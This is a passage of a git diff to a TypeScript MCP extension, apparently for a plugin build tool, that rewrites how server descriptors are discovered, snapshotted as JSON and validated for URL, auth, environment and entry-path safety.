*/ + const descriptors = Object.fromEntries(built.servers.map(server => [server.id, descriptor(server)])); + return finishContribution(output, [{ document: 'workspace-config', path: ['mcp'], value: descriptors }]); + }, +}); diff --git a/packages/extensions/mcp/src/contributors/pi.ts b/packages/extensions/mcp/src/contributors/pi.ts new file mode 100644 index 0000000..40061f7 --- /dev/null +++ b/packages/extensions/mcp/src/contributors/pi.ts @@ -0,0 +1,23 @@ +import type { ContributionContext, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltMcpServers } from '../build.js'; +import { collector, finishContribution, reportTransport } from './common.js'; + +/** Pi Contributor 明确报告 MCP 不可交付且不生成伪配置。 */ +export const piContributor: PlatformContributor = Object.freeze({ + platform: 'pi', + platformApiVersion: '1', + /** 为每个 Server 报告真实 unsupported transport。 */ + contribute(_context: ContributionContext, built: Readonly) { + /** output 只包含 compatibility,不产生 Asset 或 Document 字段。 */ + const output = collector(); + for (const server of built.servers) { + reportTransport( + output, + server, + 'unsupported', + 'Pi has no verified MCP installation contract for this transport.', + ); + } + return finishContribution(output); + }, +}); diff --git a/packages/extensions/mcp/src/discovery.ts b/packages/extensions/mcp/src/discovery.ts index f8d1f8d..50c4a62 100644 --- a/packages/extensions/mcp/src/discovery.ts +++ b/packages/extensions/mcp/src/discovery.ts @@ -1,426 +1,251 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; import type { ExtensionDiscoverContext, ExtensionValidateContext, -} from '@tokenroll/acplugin'; -import { ENV_NAME_PATTERN, MCP_ID_PATTERN } from './constants.js'; -import { - isMcpServerDefinition, - type McpServerDefinition, - type ValueSource, -} from './types.js'; - -/** - * 按 UTF-16 code unit 比较 MCP 目录项,不依赖宿主 locale/ICU。 - * - * @param left 左侧名称。 - * @param right 右侧名称。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; + JsonValue, + SourceDirectoryRef, + SourceFileRef, +} from '@tokenroll/acplugin/sdk'; +import { MCP_ID_PATTERN, ENV_NAME_PATTERN } from './constants.js'; +import { compareCodeUnits } from './sorting.js'; +import type { McpServer } from './types.js'; + +/** MCP descriptor 顶层字段由 transport 判别后验证。 */ +const FIELDS = new Set(['transport', 'url', 'auth', 'headers', 'entry', 'env']); +/** HTTP 与 stdio 顶层字段集合。 */ +const HTTP_FIELDS = new Set(['transport', 'url', 'auth', 'headers']); +/** stdio 只接受本地入口与环境引用。 */ +const STDIO_FIELDS = new Set(['transport', 'entry', 'env']); +/** 三种认证分支的精确字段集合。 */ +const NONE_AUTH_FIELDS = new Set(['type']); +/** bearer 分支只允许一个环境变量引用。 */ +const BEARER_AUTH_FIELDS = new Set(['type', 'env']); +/** oauth 分支只允许静态 scope 声明。 */ +const OAUTH_AUTH_FIELDS = new Set(['type', 'scopes']); + +/** MCP stdio 入口沿用 Core 的 project-relative POSIX 路径语法。 */ +export function isSafeMcpEntryPath(value: unknown): value is string { + if (typeof value !== 'string' || value.length === 0 || value.includes('\\') || value.includes('\0') || value.startsWith('/')) + return false; + /** POSIX segment 必须全部显式且不能包含 dot traversal。 */ + const segments = value.split('/'); + return segments.every(segment => segment.length > 0 && segment !== '.' && segment !== '..'); } -/** discover 阶段保存的 MCP 描述、目录与已执行定义。 */ +/** MCP Extension 发现的单个 owner-bound Server。 */ export interface DiscoveredMcpServer { - /** 从一级目录名称取得的 MCP Server ID。 */ readonly id: string; - /** 当前 MCP Server 的绝对源码目录。 */ - readonly directory: string; - /** `mcp.ts` 描述文件的绝对路径。 */ - readonly descriptorPath: string; - /** TypeScript 描述文件执行后得到的 Server 定义。 */ - readonly definition: McpServerDefinition; + readonly directory: SourceDirectoryRef; + readonly source: SourceFileRef; + /** stdio Server 的实际业务入口;HTTP Server 不包含此字段。 */ + readonly entrySource?: SourceFileRef; + readonly definition: McpServer; } -/** 非空 discover 结果,作为 Core 判断 Extension 拥有实际资源的信号。 */ +/** MCP Extension 的稳定发现 State。 */ export interface DiscoveredMcpServers { - /** 按 Server ID 稳定排序的发现结果。 */ + readonly root: SourceDirectoryRef; readonly servers: readonly DiscoveredMcpServer[]; } -/** HTTP MCP 定义允许出现的公开字段。 */ -const HTTP_FIELDS = new Set(['transport', 'url', 'auth', 'headers']); - -/** stdio MCP 定义允许出现的公开字段。 */ -const STDIO_FIELDS = new Set(['transport', 'entry', 'env']); - -/** MCP auth 定义允许出现的字段。 */ -const AUTH_FIELDS = new Set(['type', 'env', 'scopes']); - -/** - * 兼容 TypeScript Loader 返回模块命名空间或已解包默认导出两种形态。 - * - * @param value TypeScript 描述文件的加载结果。 - * @returns 存在 default 时返回 default,否则返回原值。 - */ -function unwrapDefault(value: unknown): unknown { - if (value !== null && typeof value === 'object' && 'default' in value) - return (value as { readonly default: unknown }).default; - return value; -} - -/** - * 把绝对描述文件路径转换为不泄露工程根的诊断位置。 - * - * @param context 当前 discover 上下文。 - * @param sourcePath 需要报告的绝对来源路径。 - * @returns 以 srcDir 为基准且统一使用 POSIX 分隔符的位置。 - */ -function sourceLocation(context: ExtensionDiscoverContext, sourcePath: string): string { - /** 相对于规范源码根的安全报告路径。 */ - const relative = path.relative(context.srcDir, sourcePath).split(path.sep).join('/'); - return relative.startsWith('../') ? path.basename(sourcePath) : relative; +/** 仅接受普通 JSON 对象,避免 descriptor 把行为带入 State。 */ +function isPlainObject(value: unknown): value is Record { + return value !== null && typeof value === 'object' && !Array.isArray(value) + && (Object.getPrototypeOf(value) === Object.prototype || Object.getPrototypeOf(value) === null); } -/** - * 把 MCP 描述文件转换为相对于工程根的稳定诊断位置。 - * - * @param context 当前 validate 上下文。 - * @param server 需要报告位置的 Server。 - * @returns 不包含宿主绝对目录的 POSIX 工程路径。 - */ -function serverLocation(context: ExtensionValidateContext, server: DiscoveredMcpServer): string { - return path.relative(context.project.root, server.descriptorPath).split(path.sep).join('/'); +/** 把 descriptor 复制成无函数、无 accessor 的 JSON 数据。 */ +function jsonSnapshot(value: unknown, path: string, ancestors = new Set()): JsonValue { + if (value === null || typeof value === 'string' || typeof value === 'boolean') return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) + throw new TypeError(`${path} must be finite.`); + return value; + } + if (typeof value !== 'object' || ancestors.has(value)) throw new TypeError(`${path} must be JSON data.`); + ancestors.add(value); + try { + /** 所有自有字段先读取 descriptor,绝不触发 getter。 */ + const descriptors = Object.getOwnPropertyDescriptors(value); + if (Array.isArray(value)) { + if (Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError(`${path} must not contain symbol fields.`); + /** 稀疏数组不能形成稳定的 JSON snapshot。 */ + for (let i = 0; i < value.length; i += 1) if (!Object.hasOwn(value, i)) throw new TypeError(`${path} must not be sparse.`); + /** 数组只允许 index 与 length,不允许隐藏扩展字段。 */ + if (Object.keys(descriptors).some(key => key !== 'length' + && (!/^(?:0|[1-9][0-9]*)$/u.test(key) || Number(key) >= value.length))) throw new TypeError(`${path} has unknown fields.`); + /** 逐索引读取 data descriptor,绝不通过 Array.prototype.map 触发 getter。 */ + const result: JsonValue[] = []; + for (let index = 0; index < value.length; index += 1) { + /** 稠密索引必须仍是显式 data property。 */ + const descriptor = descriptors[String(index)]!; + if (!('value' in descriptor)) + throw new TypeError(`${path}[${index}] must be data.`); + result.push(jsonSnapshot(descriptor.value, `${path}[${index}]`, ancestors)); + } + return Object.freeze(result); + } + /** descriptor 必须是无 Symbol 的普通对象。 */ + if (!isPlainObject(value) || Object.getOwnPropertySymbols(value).length > 0) throw new TypeError(`${path} must be plain.`); + /** snapshot 输出对象与作者对象完全隔离。 */ + const result: Record = Object.create(null) as Record; + for (const key of Object.keys(descriptors).sort()) { + /** 当前字段的 data descriptor。 */ + const descriptor = descriptors[key]!; + if (!('value' in descriptor)) throw new TypeError(`${path}.${key} must be data.`); + /** 递归复制字段值并保持稳定路径。 */ + result[key] = jsonSnapshot(descriptor.value, `${path}.${key}`, ancestors); + } + return Object.freeze(result); + } finally { ancestors.delete(value); } } -/** - * 判断未知值是否为不带自定义原型的普通对象。 - * - * @param value 待验证的作者配置值。 - * @returns 值可安全按自有字段读取时返回 true。 - */ -function isPlainObject(value: unknown): value is Record { - if (value === null || typeof value !== 'object' || Array.isArray(value)) - return false; - /** 候选对象的原型,用于拒绝类实例和其他可执行访问器容器。 */ - const prototype = Object.getPrototypeOf(value); - return prototype === Object.prototype || prototype === null; +/** Descriptor 快照只允许 MCP 规范的普通字段。 */ +function normalizeDefinition(value: unknown): McpServer { + /** 先建立无行为 JSON snapshot,再验证 MCP Schema。 */ + const snapshot = jsonSnapshot(value, 'MCP descriptor'); + if (!isPlainObject(snapshot) || typeof snapshot.transport !== 'string') throw new TypeError('MCP descriptor is invalid.'); + if (Object.keys(snapshot).some(key => !FIELDS.has(key))) throw new TypeError('MCP descriptor contains unknown fields.'); + return snapshot as unknown as McpServer; } -/** - * 扫描并加载 `src/mcp//mcp.ts` 作者格式。 - * - * @param context Core 提供的隔离工作目录、源码根和 TypeScript Loader。 - * @param include 可选的显式 Server ID 白名单。 - * @returns 没有选中资源时返回 undefined,否则返回稳定发现状态。 - */ -export async function discoverMcpServers( - context: ExtensionDiscoverContext, - include?: ReadonlySet, -): Promise { - /** MCP Extension 独占的固定作者源码根。 */ - const root = path.join(context.srcDir, 'mcp'); - /** MCP 根目录中的一级目录项。 */ - let entries: import('node:fs').Dirent[]; - try { - entries = await fs.readdir(root, { withFileTypes: true }); - } catch /** error 保存当前目录读取失败,供 ENOENT 分支判断。 */ (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') - return undefined; - throw error; - } - - /** 成功加载并通过品牌检查的 MCP Server 定义。 */ +/** 发现并加载 src/mcp//mcp.ts。 */ +export async function discoverMcpServers(context: ExtensionDiscoverContext, include?: ReadonlySet): Promise { + /** Extension root 缺失表示本轮没有 MCP 作者资源。 */ + const root = context.roots.mcp; + if (root === undefined) return undefined; + /** Core Source Service 枚举并审计作者目录。 */ + const entries = await context.sources.list(root); + /** 发现成功的 MCP Server 累计列表。 */ const servers: DiscoveredMcpServer[] = []; - /** include 中已经在源码目录找到的 Server ID。 */ - const includedIds = new Set(); - for (const entry of entries.sort((left, right) => compareCodeUnits(left.name, right.name))) { - /** 当前 MCP Server 候选目录的绝对路径。 */ - const directory = path.join(root, entry.name); - if (!entry.isDirectory() || !MCP_ID_PATTERN.test(entry.name)) { - context.reportDiagnostic({ - code: 'MCP_ENTRY_INVALID', - severity: 'error', - message: 'MCP entries must be one-level lowercase kebab-case directories.', - location: { path: sourceLocation(context, directory) }, - }); + /** include 校验使用的实际目录 ID 集合。 */ + const found = new Set(); + for (const entry of entries) { + if (entry.type !== 'directory' || !MCP_ID_PATTERN.test(entry.name)) { + context.diagnostics.report({ code: 'MCP_ENTRY_INVALID', severity: 'error', message: 'MCP entries must be lowercase kebab-case directories.', location: { path: entry.path } }); continue; } - if (include !== undefined && !include.has(entry.name)) - continue; - includedIds.add(entry.name); - /** 当前 MCP Server 必需的 TypeScript 描述文件。 */ - const descriptorPath = path.join(directory, 'mcp.ts'); + if (include !== undefined && !include.has(entry.name)) continue; + found.add(entry.name); try { - /** Loader 执行并解包后的 MCP 定义候选值。 */ - const definition = unwrapDefault(await context.loadTypeScriptModule(descriptorPath)); - if (!isMcpServerDefinition(definition)) - throw new TypeError('MCP descriptor must use defineMcpServer().'); - servers.push(Object.freeze({ id: entry.name, directory, descriptorPath, definition })); - } catch { - context.reportDiagnostic({ - code: 'MCP_DESCRIPTOR_LOAD_FAILED', + /** mcp.ts 是每个 Server 的唯一 descriptor 入口。 */ + const source = await context.sources.file(entry.directory, 'mcp.ts'); + /** Module Host 负责安全加载 ESM default export。 */ + const raw = await context.modules.loadDefault({ id: `mcp-${entry.name}`, entry: source }); + /** descriptor 进入纯数据边界。 */ + const definition = normalizeDefinition(raw); + /** stdio 业务入口的受权 SourceRef。 */ + let entrySource: SourceFileRef | undefined; + if (definition.transport === 'stdio' && isSafeMcpEntryPath(definition.entry ?? 'server.ts')) { + try { + entrySource = await context.sources.file(entry.directory, definition.entry ?? 'server.ts'); + } catch { + /** validate 阶段报告稳定缺失入口。 */ + } + } + servers.push(Object.freeze({ id: entry.name, directory: entry.directory, source, definition, ...(entrySource === undefined ? {} : { entrySource }) })); + } catch (error) { + /** 只读取底层错误的稳定类别,不把原始路径带入诊断。 */ + const message = error instanceof Error ? error.message : ''; + context.diagnostics.report({ + code: /unknown fields/iu.test(message) ? 'MCP_FIELD_UNKNOWN' : 'MCP_DESCRIPTOR_LOAD_FAILED', severity: 'error', - message: `MCP Server "${entry.name}" descriptor could not be loaded or was not created by defineMcpServer().`, - location: { path: sourceLocation(context, descriptorPath) }, + message: /unknown fields/iu.test(message) + ? `MCP Server "${entry.name}" descriptor contains unknown fields.` + : `MCP Server "${entry.name}" descriptor could not be loaded.`, + location: { path: `${entry.path}/mcp.ts` }, }); } } - - if (include !== undefined) { - /** id 表示当前显式 include 项,用于报告不存在的作者资源。 */ - for (const id of include) { - if (!includedIds.has(id)) { - context.reportDiagnostic({ - code: 'MCP_INCLUDE_MISSING', - severity: 'error', - message: `Included MCP Server "${id}" does not exist under src/mcp.`, - location: { path: `mcp/${id}` }, - }); - } - } - } - - /** 目录完全为空或 include 明确没有选择资源时不激活 Extension。 */ - const hasSelectedResource = servers.length > 0 || includedIds.size > 0; - return hasSelectedResource ? Object.freeze({ servers: Object.freeze(servers) }) : undefined; + if (include !== undefined) for (const id of include) if (!found.has(id)) context.diagnostics.report({ code: 'MCP_INCLUDE_MISSING', severity: 'error', message: `Included MCP Server "${id}" does not exist under src/mcp.`, location: { path: `${root.path}/${id}` } }); + return servers.length === 0 ? undefined : Object.freeze({ root, servers: Object.freeze(servers.sort((left, right) => compareCodeUnits(left.id, right.id))) }); } -/** - * 校验 Header 或环境映射中的每个值只使用字面量和环境变量之一。 - * - * @param context Core 提供的诊断出口。 - * @param server 当前 MCP Server。 - * @param values 待验证的名称到 ValueSource 映射。 - * @param fieldPath 映射所在的稳定字段路径。 - */ -function validateValueSources( - context: ExtensionValidateContext, - server: DiscoveredMcpServer, - values: Readonly> | undefined, - fieldPath: readonly string[], -): void { - if (values === undefined) - return; +/** 校验 ValueSource 映射且绝不读取 env 引用值。 */ +function validateValues(context: ExtensionValidateContext, server: DiscoveredMcpServer, values: unknown, field: string): void { + if (values === undefined) return; if (!isPlainObject(values)) { - context.reportDiagnostic({ - code: 'MCP_VALUE_MAP_INVALID', severity: 'error', message: 'MCP value mappings must be plain objects.', - location: { path: serverLocation(context, server) }, fieldPath, - }); + context.diagnostics.report({ code: 'MCP_VALUE_MAP_INVALID', severity: 'error', message: 'MCP value mappings must be plain objects.', location: { path: server.source.path }, fieldPath: [field] }); return; } - /** [name, source] 表示当前 Header 或环境变量映射。 */ for (const [name, source] of Object.entries(values)) { - /** 当前 ValueSource 的精确诊断路径。 */ - const valuePath = [...fieldPath, name]; - if (name.trim().length === 0 || !isPlainObject(source) - || Object.keys(source).some(field => field !== 'value' && field !== 'env') - || (Object.hasOwn(source, 'value') === Object.hasOwn(source, 'env'))) { - context.reportDiagnostic({ - code: 'MCP_VALUE_SOURCE_INVALID', severity: 'error', - message: `MCP value "${name || ''}" must contain exactly one of value or env.`, - location: { path: serverLocation(context, server) }, fieldPath: valuePath, - }); - continue; - } - if ('value' in source && typeof source.value !== 'string') { - context.reportDiagnostic({ - code: 'MCP_LITERAL_INVALID', severity: 'error', message: `MCP value "${name}" literal must be a string.`, - location: { path: serverLocation(context, server) }, fieldPath: [...valuePath, 'value'], - }); - } - if ('env' in source && (typeof source.env !== 'string' || !ENV_NAME_PATTERN.test(source.env))) { - context.reportDiagnostic({ - code: 'MCP_ENV_INVALID', severity: 'error', message: `MCP value "${name}" environment name is invalid.`, - location: { path: serverLocation(context, server) }, fieldPath: [...valuePath, 'env'], - }); - } + if (!isPlainObject(source) || Object.keys(source).length !== 1 || (!Object.hasOwn(source, 'value') && !Object.hasOwn(source, 'env')) || (Object.hasOwn(source, 'value') && typeof source.value !== 'string') || (Object.hasOwn(source, 'env') && (typeof source.env !== 'string' || !ENV_NAME_PATTERN.test(source.env)))) + context.diagnostics.report({ code: 'MCP_VALUE_SOURCE_INVALID', severity: 'error', message: `MCP value "${name}" must contain one valid value or env reference.`, location: { path: server.source.path }, fieldPath: [field, name] }); } } -/** - * 校验 HTTP Server 的 URL、认证、Header 和未知字段。 - * - * @param context Core 提供的构建模式和诊断出口。 - * @param server 当前远程 MCP Server。 - */ -function validateHttpServer(context: ExtensionValidateContext, server: DiscoveredMcpServer): void { - /** 当前 Server 已由 transport 判别为 HTTP 的定义。 */ - const definition = server.definition as Extract; - /** field 表示当前定义的一个公开字段,用于拒绝宽类型绕过检查。 */ - for (const field of Object.keys(definition)) { - if (!HTTP_FIELDS.has(field)) { - context.reportDiagnostic({ - code: 'MCP_FIELD_UNKNOWN', severity: 'error', message: `Unknown HTTP MCP field "${field}".`, - location: { path: serverLocation(context, server) }, fieldPath: [field], - }); - } - } - /** 成功解析时的标准 URL,用于协议、凭据和主机安全检查。 */ - let url: URL | undefined; - try { - if (typeof definition.url !== 'string') - throw new TypeError('URL must be a string.'); - url = new URL(definition.url); - } catch { - context.reportDiagnostic({ - code: 'MCP_URL_INVALID', severity: 'error', message: `MCP Server "${server.id}" has an invalid URL.`, - location: { path: serverLocation(context, server) }, fieldPath: ['url'], - }); +/** 验证判别联合对象没有跨 transport 或跨 auth 分支字段。 */ +function validateExactFields( + context: ExtensionValidateContext, + server: DiscoveredMcpServer, + value: unknown, + allowed: ReadonlySet, + field: string, +): value is Record { + if (!isPlainObject(value)) { + context.diagnostics.report({ code: 'MCP_FIELD_INVALID', severity: 'error', message: `MCP ${field} must be a plain object.`, location: { path: server.source.path }, fieldPath: [field] }); + return false; } - if (url !== undefined) { - /** development 允许的明确 loopback 主机。 */ - const loopback = ['localhost', '127.0.0.1', '::1'].includes(url.hostname); - if (url.username !== '' || url.password !== '') { - context.reportDiagnostic({ - code: 'MCP_URL_CREDENTIALS_FORBIDDEN', severity: 'error', message: 'MCP URLs must not contain credentials.', - location: { path: serverLocation(context, server) }, fieldPath: ['url'], - }); - } - if (context.mode === 'production' && url.protocol !== 'https:') { - context.reportDiagnostic({ - code: 'MCP_HTTPS_REQUIRED', severity: 'error', message: `MCP Server "${server.id}" must use HTTPS in production.`, - location: { path: serverLocation(context, server) }, fieldPath: ['url'], - }); - } - if (context.mode === 'development' && url.protocol !== 'https:' && !(url.protocol === 'http:' && loopback)) { - context.reportDiagnostic({ - code: 'MCP_HTTP_LOOPBACK_ONLY', severity: 'error', - message: `MCP Server "${server.id}" may use HTTP only on loopback in development.`, - location: { path: serverLocation(context, server) }, fieldPath: ['url'], - }); - } + for (const key of Object.keys(value)) { + if (!allowed.has(key)) + context.diagnostics.report({ code: 'MCP_FIELD_UNKNOWN', severity: 'error', message: `MCP ${field} contains an invalid field for its selected variant.`, location: { path: server.source.path }, fieldPath: [field, key] }); } + return true; +} - if (definition.auth !== undefined) { - /** auth 候选值必须为无自定义原型的普通对象。 */ - const auth = definition.auth as unknown; - if (!isPlainObject(auth)) { - context.reportDiagnostic({ - code: 'MCP_AUTH_INVALID', severity: 'error', message: 'MCP auth must be a plain object.', - location: { path: serverLocation(context, server) }, fieldPath: ['auth'], - }); - } else { - /** field 表示当前认证声明字段,用于拒绝策略之外的 Secret 或命令配置。 */ - for (const field of Object.keys(auth)) { - if (!AUTH_FIELDS.has(field)) { - context.reportDiagnostic({ - code: 'MCP_AUTH_FIELD_UNKNOWN', severity: 'error', message: `Unknown MCP auth field "${field}".`, - location: { path: serverLocation(context, server) }, fieldPath: ['auth', field], - }); - } - } - if (auth.type !== 'none' && auth.type !== 'oauth' && auth.type !== 'bearer') { - context.reportDiagnostic({ - code: 'MCP_AUTH_TYPE_INVALID', severity: 'error', message: 'MCP auth type must be none, oauth, or bearer.', - location: { path: serverLocation(context, server) }, fieldPath: ['auth', 'type'], - }); - } - if (auth.type === 'none' && (Object.hasOwn(auth, 'env') || Object.hasOwn(auth, 'scopes'))) { - context.reportDiagnostic({ - code: 'MCP_AUTH_FIELD_INVALID', severity: 'error', message: 'MCP none auth cannot declare env or scopes.', - location: { path: serverLocation(context, server) }, fieldPath: ['auth'], - }); - } - if (auth.type === 'bearer' - && (typeof auth.env !== 'string' || !ENV_NAME_PATTERN.test(auth.env) || Object.hasOwn(auth, 'scopes'))) { - context.reportDiagnostic({ - code: 'MCP_BEARER_INVALID', severity: 'error', message: 'MCP bearer auth requires one valid env and no scopes.', - location: { path: serverLocation(context, server) }, fieldPath: ['auth'], - }); - } - if (auth.type === 'oauth') { - if (Object.hasOwn(auth, 'env')) { - context.reportDiagnostic({ - code: 'MCP_AUTH_FIELD_INVALID', severity: 'error', message: 'MCP OAuth auth cannot declare env.', - location: { path: serverLocation(context, server) }, fieldPath: ['auth', 'env'], - }); - } - if (auth.scopes !== undefined && (!Array.isArray(auth.scopes) - || auth.scopes.some(scope => typeof scope !== 'string' || scope.trim().length === 0) - || new Set(auth.scopes).size !== auth.scopes.length)) { - context.reportDiagnostic({ - code: 'MCP_OAUTH_SCOPE_INVALID', severity: 'error', - message: 'MCP OAuth scopes must contain unique non-empty strings.', - location: { path: serverLocation(context, server) }, fieldPath: ['auth', 'scopes'], - }); +/** 验证全部 HTTP/stdio MCP 安全约束。 */ +export async function validateMcpServers(context: ExtensionValidateContext, discovered: Readonly): Promise<{ readonly state: Readonly; readonly subjects: readonly { readonly subject: string; readonly capabilities: readonly string[] }[] }> { + for (const server of discovered.servers) { + /** 已快照的联合定义转为只读字段映射。 */ + const definition = server.definition as unknown as Record; + if (definition.transport === 'http') { + if (typeof definition.url !== 'string') context.diagnostics.report({ code: 'MCP_URL_INVALID', severity: 'error', message: 'MCP HTTP url must be a string.', location: { path: server.source.path } }); + else { + try { + /** URL 解析只使用 descriptor 中的公开字符串。 */ + const url = new URL(definition.url); + if (url.username || url.password) throw new Error('credentials'); + if (context.mode === 'production' && url.protocol !== 'https:') throw new Error('https'); + if (context.mode === 'development' + && url.protocol !== 'https:' + && (url.protocol !== 'http:' || !['127.0.0.1', 'localhost', '[::1]'].includes(url.hostname))) + throw new Error('scheme'); + } catch (error) { + /** URL 错误归一化为稳定诊断码。 */ + const reason = error instanceof Error ? error.message : ''; + context.diagnostics.report({ code: reason === 'https' ? 'MCP_HTTPS_REQUIRED' : 'MCP_URL_INVALID', severity: 'error', message: 'MCP HTTP url must be HTTPS in production and loopback HTTP in development.', location: { path: server.source.path } }); } } - } - } - validateValueSources(context, server, definition.headers, ['headers']); -} - -/** - * 校验本地 stdio Server 的入口边界、普通文件属性和环境映射。 - * - * @param context Core 提供的工程和诊断出口。 - * @param server 当前本地 MCP Server。 - */ -async function validateStdioServer(context: ExtensionValidateContext, server: DiscoveredMcpServer): Promise { - /** 当前 Server 已由 transport 判别为 stdio 的定义。 */ - const definition = server.definition as Extract; - /** field 表示当前定义的一个公开字段,用于拒绝宽类型绕过检查。 */ - for (const field of Object.keys(definition)) { - if (!STDIO_FIELDS.has(field)) { - context.reportDiagnostic({ - code: 'MCP_FIELD_UNKNOWN', severity: 'error', message: `Unknown stdio MCP field "${field}".`, - location: { path: serverLocation(context, server) }, fieldPath: [field], - }); - } - } - /** 默认或显式配置解析出的本地 Server 绝对入口。 */ - const entryValue = definition.entry ?? './server.ts'; - if (typeof entryValue !== 'string' || entryValue.trim().length === 0 || path.isAbsolute(entryValue)) { - context.reportDiagnostic({ - code: 'MCP_ENTRY_INVALID', severity: 'error', message: `MCP Server "${server.id}" entry must be a relative non-empty path.`, - location: { path: serverLocation(context, server) }, fieldPath: ['entry'], - }); - } else { - /** 用真实 Server 目录解析但不跟随候选入口符号链接。 */ - const entry = path.resolve(server.directory, entryValue); - /** 用于发现目录逃逸的入口相对路径。 */ - const relative = path.relative(server.directory, entry); - if (relative === '..' || relative.startsWith(`..${path.sep}`) || path.isAbsolute(relative)) { - context.reportDiagnostic({ - code: 'MCP_ENTRY_ESCAPE', severity: 'error', message: `MCP Server "${server.id}" entry must stay inside its directory.`, - location: { path: serverLocation(context, server) }, fieldPath: ['entry'], - }); - } else { - try { - /** lstat 用于拒绝入口文件本身是符号链接。 */ - const stat = await fs.lstat(entry); - if (!stat.isFile() || stat.isSymbolicLink()) - throw new TypeError('Entry is not a regular file.'); - } catch { - context.reportDiagnostic({ - code: 'MCP_ENTRY_MISSING', severity: 'error', message: `MCP Server "${server.id}" entry cannot be used.`, - location: { path: serverLocation(context, server) }, fieldPath: ['entry'], - }); + if (definition.auth !== undefined) { + /** 认证对象只检查规范字段,不读取 Secret。 */ + const auth = definition.auth; + if (isPlainObject(auth)) { + if (auth.type === 'none') { + validateExactFields(context, server, auth, NONE_AUTH_FIELDS, 'auth'); + } else if (auth.type === 'bearer') { + validateExactFields(context, server, auth, BEARER_AUTH_FIELDS, 'auth'); + if (typeof auth.env !== 'string' || !ENV_NAME_PATTERN.test(auth.env)) context.diagnostics.report({ code: 'MCP_BEARER_INVALID', severity: 'error', message: 'MCP bearer auth requires a valid env name.', location: { path: server.source.path }, fieldPath: ['auth', 'env'] }); + } else if (auth.type === 'oauth') { + validateExactFields(context, server, auth, OAUTH_AUTH_FIELDS, 'auth'); + if (auth.scopes !== undefined && (!Array.isArray(auth.scopes) || auth.scopes.length === 0 || auth.scopes.some(scope => typeof scope !== 'string' || scope.length === 0) || new Set(auth.scopes).size !== auth.scopes.length)) context.diagnostics.report({ code: 'MCP_OAUTH_INVALID', severity: 'error', message: 'MCP OAuth scopes must be unique non-empty strings.', location: { path: server.source.path }, fieldPath: ['auth', 'scopes'] }); + } else { + validateExactFields(context, server, auth, NONE_AUTH_FIELDS, 'auth'); + context.diagnostics.report({ code: 'MCP_AUTH_INVALID', severity: 'error', message: 'MCP auth type is unsupported.', location: { path: server.source.path }, fieldPath: ['auth', 'type'] }); + } + } else validateExactFields(context, server, auth, NONE_AUTH_FIELDS, 'auth'); } - } - } - validateValueSources(context, server, definition.env, ['env']); -} - -/** - * 验证全部 MCP Server 的静态 Schema 与安全边界。 - * - * @param context Core 提供的规范工程和构建模式。 - * @param discovered discover 阶段得到的稳定 Server 列表。 - */ -export async function validateMcpServers( - context: ExtensionValidateContext, - discovered: Readonly, -): Promise { - /** server 表示当前待验证的远程声明或本地实现。 */ - for (const server of discovered.servers) { - /** transport 在作者使用宽类型时仍可能是未知值。 */ - const transport = (server.definition as { readonly transport?: unknown }).transport; - if (transport === 'http') - validateHttpServer(context, server); - else if (transport === 'stdio') - await validateStdioServer(context, server); - else { - context.reportDiagnostic({ - code: 'MCP_TRANSPORT_UNSUPPORTED', severity: 'error', - message: `MCP Server "${server.id}" transport is unsupported.`, - location: { path: serverLocation(context, server) }, fieldPath: ['transport'], - }); - } + validateValues(context, server, definition.headers, 'headers'); + /** HTTP 不接受 stdio 专属字段,即使 descriptor 通过了 TS 类型断言。 */ + validateExactFields(context, server, definition, HTTP_FIELDS, 'server'); + } else if (definition.transport === 'stdio') { + /** stdio 入口默认固定为当前 Server 目录下的 server.ts。 */ + const entry = definition.entry ?? 'server.ts'; + if (!isSafeMcpEntryPath(entry)) context.diagnostics.report({ code: typeof entry === 'string' && (entry.startsWith('/') || entry.split('/').includes('..')) ? 'MCP_ENTRY_ESCAPE' : 'MCP_ENTRY_INVALID', severity: 'error', message: 'MCP stdio entry must be a safe relative POSIX path without dot, parent, backslash, or NUL segments.', location: { path: server.source.path }, fieldPath: ['entry'] }); + if (isSafeMcpEntryPath(entry) && server.entrySource === undefined) context.diagnostics.report({ code: 'MCP_ENTRY_MISSING', severity: 'error', message: 'MCP stdio entry file does not exist.', location: { path: server.source.path }, fieldPath: ['entry'] }); + validateValues(context, server, definition.env, 'env'); + /** stdio 不接受 HTTP 专属字段。 */ + validateExactFields(context, server, definition, STDIO_FIELDS, 'server'); + } else context.diagnostics.report({ code: 'MCP_TRANSPORT_UNSUPPORTED', severity: 'error', message: `MCP Server "${server.id}" transport is unsupported.`, location: { path: server.source.path } }); } + return Object.freeze({ state: discovered, subjects: Object.freeze(discovered.servers.map(server => Object.freeze({ subject: `mcp:${server.id}`, capabilities: Object.freeze([`transport.${server.definition.transport}`]) }))) }); } diff --git a/packages/extensions/mcp/src/index.ts b/packages/extensions/mcp/src/index.ts index 530cddc..f6628be 100644 --- a/packages/extensions/mcp/src/index.ts +++ b/packages/extensions/mcp/src/index.ts @@ -1,7 +1,12 @@ -import { defineExtension, type AcpluginExtension } from '@tokenroll/acplugin'; -import { createMcpAdapters } from './adapters.js'; -import type { BuiltMcpServers } from './bundler.js'; -import { EXTENSION_NAME, MCP_ID_PATTERN } from './constants.js'; +import { + defineExtension, + type AcpluginExtension, + type JsonObject, + type PortableNodeCompileOptions, +} from '@tokenroll/acplugin/sdk'; +import { buildMcpServers, type BuiltMcpServers } from './build.js'; +import { createMcpContributors } from './contributors/index.js'; +import { MCP_ID_PATTERN } from './constants.js'; import { discoverMcpServers, type DiscoveredMcpServers, @@ -9,15 +14,13 @@ import { } from './discovery.js'; export { EXTENSION_NAME } from './constants.js'; -export { defineMcpServer } from './types.js'; export type { BearerMcpAuth, EnvironmentValueSource, HttpMcpServer, LiteralValueSource, McpAuth, - McpServerDefinition, - McpServerInput, + McpServer, NoMcpAuth, OAuthMcpAuth, StdioMcpServer, @@ -28,10 +31,15 @@ export type { export interface McpExtensionOptions { /** 只构建这些 `src/mcp/`;省略时构建全部 Server。 */ readonly include?: readonly string[]; + /** 复用 Core portable-node 的公共纯 JSON 编译参数。 */ + readonly compile?: PortableNodeCompileOptions; } +/** 进入 Core defineExtension 的 JSON-safe MCP options。 */ +type 